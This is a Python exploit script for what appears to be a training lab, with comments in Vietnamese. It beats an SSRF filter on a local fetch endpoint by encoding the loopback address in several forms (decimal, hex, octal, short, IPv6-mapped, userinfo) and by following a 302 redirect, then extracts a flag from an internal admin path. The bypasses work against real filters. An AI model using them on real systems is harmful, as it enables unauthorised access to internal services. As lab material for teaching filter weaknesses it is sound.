#!/usr/bin/env python3
"""
Exploit lab 6.2 - Vuot filter SSRF.

Muc tieu: cham toi 127.0.0.1:8058/admin/secret (dich vu noi bo), trong khi
filter chan cac chuoi noi bo pho bien.

Buoc 0: thu URL noi bo "that tha" -> bi chan (chung minh filter co hoat dong).
Buoc 1..n: cac cach vuot. Tat ca cung tro ve 127.0.0.1:8058 nhung filter
           khong nhan ra.
"""
import re
import sys
import requests

BASE = "http://127.0.0.1:8057"
SECRET_PATH = "/admin/secret"

# Cac cach bieu dien host deu tro ve 127.0.0.1 (da kiem chung ket noi duoc).
BYPASSES = [
    ("thap phan (decimal)", "http://2130706433:8058" + SECRET_PATH),
    ("hex", "http://0x7f000001:8058" + SECRET_PATH),
    ("octal", "http://0177.0.0.1:8058" + SECRET_PATH),
    ("rut gon 127.1", "http://127.1:8058" + SECRET_PATH),
    ("host '0' (=0.0.0.0)", "http://0:8058" + SECRET_PATH),
    ("userinfo @ + decimal", "http://allowed.example@2130706433:8058" + SECRET_PATH),
    ("IPv6-mapped hex", "http://[::ffff:7f00:1]:8058" + SECRET_PATH),
]


def fetch(url):
    r = requests.get("%s/fetch" % BASE, params={"url": url}, timeout=5)
    try:
        return r.status_code, r.json()
    except Exception:
        return r.status_code, {"raw": r.text}


def grab_flag(obj):
    m = re.search(r"FLAG\{[^}]+\}", str(obj))
    return m.group(0) if m else None


def main():
    got = None

    print("[*] Buoc 0: thu URL noi bo that tha (phai bi filter chan):")
    sc, res = fetch("http://127.0.0.1:8058" + SECRET_PATH)
    print("    [%s] %s" % (sc, res))

    print("\n[*] Vuot filter bang cac bieu dien host khac nhau:")
    for name, url in BYPASSES:
        sc, res = fetch(url)
        f = grab_flag(res)
        tag = "FLAG=" + f if f else "(khong co flag)"
        print("    %-24s [%s] %s" % (name, sc, tag))
        if f:
            got = f

    print("\n[*] Vuot bang redirect 302 (filter khong kiem lai dich redirect):")
    # /bounce 302 toi http://127.0.0.1:8058/admin/secret. URL ban dau khong
    # chua chuoi bi chan nen qua filter; requests tu di theo Location.
    sc, res = fetch("http://2130706433:8057/bounce")
    f = grab_flag(res)
    print("    redirect qua /bounce  [%s] %s" % (sc, "FLAG=" + f if f else res))
    if f:
        got = f

    if got:
        print("\n[+] Da vuot filter, cham dich noi bo. FLAG =", got)
        sys.exit(0)
    print("\n[-] That bai")
    sys.exit(1)


if __name__ == "__main__":
    main()